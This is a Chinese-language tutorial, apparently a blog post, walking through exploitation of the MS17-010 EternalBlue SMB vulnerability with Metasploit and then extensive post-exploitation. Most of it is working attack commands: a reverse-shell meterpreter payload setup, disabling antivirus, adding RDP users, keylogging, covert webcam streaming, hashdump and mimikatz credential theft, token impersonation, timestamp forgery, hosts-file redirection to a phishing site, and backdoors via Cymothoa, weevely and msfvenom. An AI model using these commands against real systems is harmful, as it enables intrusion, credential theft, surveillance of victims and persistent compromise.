MS17-010漏洞复现及后渗透测试
一:漏洞原理
1:简介
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
注:SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无,SMB服务详解:点击查看
2:漏洞原理代码详解
下面两篇文章从实际代码详细分析了漏洞原理
http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772
https://blog.csdn.net/qq_27446553/article/details/73480807
二:漏洞复现
1:信息收集
信息收集的两种方法:
使用msf的扫描模块,通过search scanner可以查看大量的扫描模块,这里通过search portscan
命令查看端口扫描器列表,输入use 模块名
,即可使用该模块
例:这里使用syn扫描模块为例
可以看到这里扫描的结果显示目标记器0-500的端口内开了135,139,445端口。而永恒之蓝利用的就是445端口 smb服务 操作系统溢出漏洞
使用nmap扫描
在msf也可以使用nmap进行扫描进行信息收集,示例如下:
①:扫描版本服务
若扫描出来有可能存在的漏洞的服务,可以search 该服务,查看可以利用的攻击模块
这里从收集信息来看目标主机445端口开放,可以尝试使用ms17-010(永恒之蓝)来攻击
2:尝试攻击
1>:查看漏洞模块------search ms17-010
可以看到有auxiliary(辅助)模块和exploit(攻击)模块
2>:可以先使用辅助扫描模块测试 use auxiliary/scanner/smb/smb_ms17_010
扫描结果显示该主机很容易受到ms17-010的攻击
3>:使用攻击模块进行攻击 use exploit/windows/smb/ms17_010_eternalblue
选择攻击模块时注意选择合适的版本,有些版本使用于win8以上
set payload
:设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload
show options :使用该命令会列出使用当前模块所需呀配置的参数
set RHOST 目标主机地址 :该命令会设置好要攻击的目标主机地址
set LHOST 攻击机地址 :该命令设置攻击机的地址,使目标主机回连至攻击机
set LPORT 回连的端口 :该命令设置目标主机回连至攻击机的端口,默认为4444
run:开始攻击
攻击成功后攻击机和目标主机之间会建立一个连接,得到一个meterpreter会话
上面已经对攻击的信息做了标注,这里进行解释:
①:表示永恒之蓝覆盖成功完成
②:目标主机和攻击机建立了了一个shell连接,会话为session 1
③:得到一个meterpreter会话,尝试获取shell失败
④:在meterpreter会话下输入ps就能获得目标主机的当前进程
注: meterpreter是metasploit框架中的一个扩展模块,是后渗透攻击中的杀手锏,使用meterpreter作为攻击载荷,建立连接后可以对目标系统进行更深入的渗透
到这里漏洞攻击已经成功,接下来要做的就是后渗透攻击,涉及到权限提升,跳板攻击,密码哈希值获取,获取shell以及其他更多信息
三:meterpreter模块之后渗透攻击
后渗透测试是极为关键的,也是测试客户业务是否安全影响最大的一步
以下所有操作均是在meterpreter模块下,获取目标主机的meterpreter shell为所有操作的前提
1:进程迁移
进程迁移的原因与目的:在刚拿到meterpreter shell时,该shell是极其脆弱的,通过进程迁移,把该shell和一个稳定的进程绑定在一起,防止被检测到查杀。
1.1:获取目标主机正在运行的进程
指令:ps
1.2:查看meterpreter shell的进程号
指令:getpid
1.3:进程迁移 (先找一个稳定的已打开的的应用进程)
指令:migrate <稳定的进程号>
此时再次使用 ps 指令,会发现原来的meterpreter shell的进程号没了,即该shell已经被绑定在计划中的稳定进程上了
1.4:自动进行进程迁移 (系统会自动寻找合适的进程进行迁移)
指令:run post/windows/manage/migrate
2:系统命令
2.1:查看系统信息
指令:sysinfo
2.2:查看目标主机运行时间
指令:idletime
2.3:查看目标机是否运行在虚拟机上
指令:run post/windows/gather/checkvm
2.4:查看当前主机用户名及其权限
指令:getuid
2.5:关闭杀毒软件
指令:run post/windows/manage/killav
2.6:启动目标主机的3389端口即远程桌面协议
①指令:run post/windows/manage/enable_rdp
②指令:run getgui -e
2.7:将当前会话放到后台
指令:background
2.8:端口转发
指令:portfwd add -l 6666 -p 3389 -r 127.0.0.1
#将目标机的3389端口转发到本地6666端口
指令:run getgui -f 6661 --e
实现效果如图:
2.9:路由route操作
①:查看已拿下的目标主机的内网IP段情况
指令:run get_local_subnets
②:添加路由(先使用background将meterpreter终端放到后台)
指令1:route add <要添加的路由>
例:route add 192.168.111.0
route print
(查看已添加的路由)
指令2:run autoroute -s 192.168.159.0/24
#添加到目标环境网络
run autoroute --p
#查看添加的路由
当目的路由被成功添加到已攻陷主机的路由表中,就可以借助被攻陷的主机对其他网络进行攻击了。
添加路由后可以进行以被攻陷主机的ip扫描该网段下的其他主机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=338
route print
:显示当前活跃的路由设置,查看路由是否添加成功
2.10:关闭杀毒软件
命令:run killav
2.11:列举当前目标机有多少用户登录
命令:run post/windows/gather/enum_logged_on_users
2.12:添加用户
①:run post/windows/manage/enable_rdp USERNAME=xxx PASSWORD=xxx
②:run getgui -u example_username -p example_password
2.13:抓取目标机的屏幕截图
命令:
①:先输入load espia
加载插件 再输screengrab
,会保存截图在root目录下
②:输入 screenshot
效果同上
截取的图片
2.14:webcam摄像头命令
①:查看目标机是否有摄像头:webcam_list
②:打开目标主机的摄像头拍一张照片:webcam_snap
③:打开目标主机的摄像头抓取视频(即直播)
指令:webcam_stream
该指令会返回一个url,在浏览器打开该地址即可观看
可以试一下这个命令,很好玩
2.15:进入目标机shell,获取目标主机的远程命令行
(如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试)
指令为:shell 结束指令为:exit
3:文件系统命令
常用指令如下
这些命令比较简单,但却很重要,就不截图详细说明了
getwd
或者pwd
# 查看当前工作目录
ls
#显示当前目录下的内容
cd
#切换目录
search -f *.txt -d c:\
# 搜索文件 -f 指定文件类型,-d 指定在哪个目录下搜索
cat c:\\test\\testpasswd.txt
# 查看文件内容
upload /tmp/hack.txt C:\test
# 上传hack.txt文件到目标机C盘test目录下
download c:\test.txt/root
# 下载目标主机test.txt文件到本机root目录下
edit c:\\1.txt
#编辑或创建文件 没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2
#只能在当前目录下创建文件夹
rmdir lltest2
#只能删除当前目录下文件夹
getlwd
或者 lpwd
#操作攻击者主机 查看当前目录
lcd /tmp
#操作攻击者主机 切换目录
4:其他常用命令
4.1:session命令
session 命令可以查看已经成功获取的会话
可以使用session -i
连接到指定序号的meterpreter会话已继续利用
4.2:timestomp伪造时间戳
时间戳的解释http://blog.csdn.net/qq_41651465/article/details/80005362
timestomp C:// -h
#查看帮助
timestomp -v C://2.tx
t #查看时间戳
timestomp C://2.txt -f C://1.txt
#将1.txt的时间戳复制给2.txt
4.3:键盘记录器功能keyscan
命令:
keyscan_start
开启记录目标主机的键盘输入
keyscan_dump
输出截获到的目标键盘输入字符信息
keyscan_stop
停止键盘记录
4.4:系统账号密码获取
①:命令:hashdump
在拿到system权限下,使用该命令,可以查看系统账号密码的hash值,在cmd5在线破解网站可以尝试破解,或者采用后面的Mimikatz模块尝试爆破
②:使用hashdump脚本
命令:run hashdump
4.5:edit命令
调用vi编辑器,对目标主机上的文件修改
例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站
4.6:execute命令
在目标主机上运行某个程序 结合参数-H使用可以隐藏在后台打开程序
例:命令:execute -H -i -f cmd.exe
相当于获取shell,使用shell
4.7:信息收集
run post/windows/gather/enum_applications
:获取目标主机上的软件安装信息
run post/windows/gather/dumplinks
:目标主机上最近访问过的文档和链接信息
查看目标主机是否为虚拟机
run post/windows/gather/checkvm
#是否虚拟机
run post/linux/gather/checkvm
#是否虚拟机
4.8:权限提升
先输入getuid
查看已获得的权限
尝试使用getsystem
提权(倘若失败,只能使用内核漏洞提权)
4.9:漏洞提权:
①:使用命令:getsystem提权
②:使用其他漏洞攻击提权,如ms16-32
注意:在使用其他漏洞为当前会话提权时,攻击参数要设置好session 为当前对话的session,这样就能使用其他漏洞为当前会话提权了
4.10: 抓取密码
常见的在system权限下使用命令 hashdump 可以查看目标主机的用户和其对应的密码,其他抓取密码方法如下:
1:使用Qarks PwDump抓取密码,适用于Windows
2:使用Windows Credentials Editor 抓取密码,适用于Windows
3:使用Mimikatz抓取密码,metasploit集成(只能在管理员权限下使用)
①:load mimikatz
(加载该模块)
②:msv
抓取系统的hash值
③:mimikatz_command -f samdump::
抓取Hash
④:mimikatz_command -f service::
查看服务
输入help mimikatz,可以查看所有mimikatz在metasploit里集成的命令,即可直接使用的命令
例:用msv命令可以抓取系统的Hash值,用wdigest命令可以获取系统账户信息
使用mimikatz_command -f 加载一个不存在的模块,会显示所有mimikatz模块
使用模块时在模块后面跟 :: 设置参数,当后面参数为空时,显示可用参数
4.11:令牌欺骗
注:令牌是交互会话中的唯一身份标识符,假冒令牌的目的就是取得的令牌对应的身份的权限
1>:先输入use incognito
2>:再输入list_tokens -u
作用:列出所有可用的token
(注:令牌分为:①授权令牌 Delegation Tokens 支持交互式登陆 ②模拟令牌 impersonation Tokens 非交互式令牌)
3>:再输入impersonate_token 上面获取的授权令牌
(注:获取的令牌Hostname\Username应将中间的 \ 改为 \\ )
5:后门
5.1:Cymothoa后门
Cymothoa工具可以把ShellCode注入现有进程,伪装成常规程序
用法如下:
1:使用-p参数设置目标进程的pid
2:使用-s参数指定ShellCode的编号,查看所有ShellCode的编号使用命令:cymothoa -s
3:使用-y参数指定Payload服务端口号
完整命令示例:cymothoa -p 100 -s 1 -y 4444
注入成功后可以使用如下命令来连接目标主机的后门,等待返回shell
Nc -nvv 目标主机IP 4444
5.2:weevely
用法如下:
1>:生成后门
命令:weevely generate password/存放路径/try.php
生成一个名为try.php的后门,密码为password
2>:上传后门至web根目录下/var/www/html/(上传命令在之前的文件命令讲过,不再赘述)
3>:连接后门
命令:weevely 目标主机IP/shell所在目录/1.php password(密码)
weevely还可以生成图片后门。同时weevely还有多个模块使用,在连接上后门之后按两次Tab键,可以查看可利用的模块
5.3:meterpreter后门
用法如下:
1>:使用使用msfvenom创建shell,shell的类型可以自己选自,可以为php文件,exe文件等等
注:php文件可以放在web根目录下,方便直接启动
2>: 上传shell到目标服务器(上传命令在之前的文件命令讲过,不再赘述)
3>:在msf下设置监听模块,开始监听,设置方法为:
①:use exploit/multi//handler
②:set payload (payload可以自行选择)
③:访问或运行shell
④:获得目标主机反弹的shell,连接建立
这里以一个exe文件为例,大家可以尝试其他web文件
1>:创建shell
2>:上传shell
3>:设置监听模块,开始监听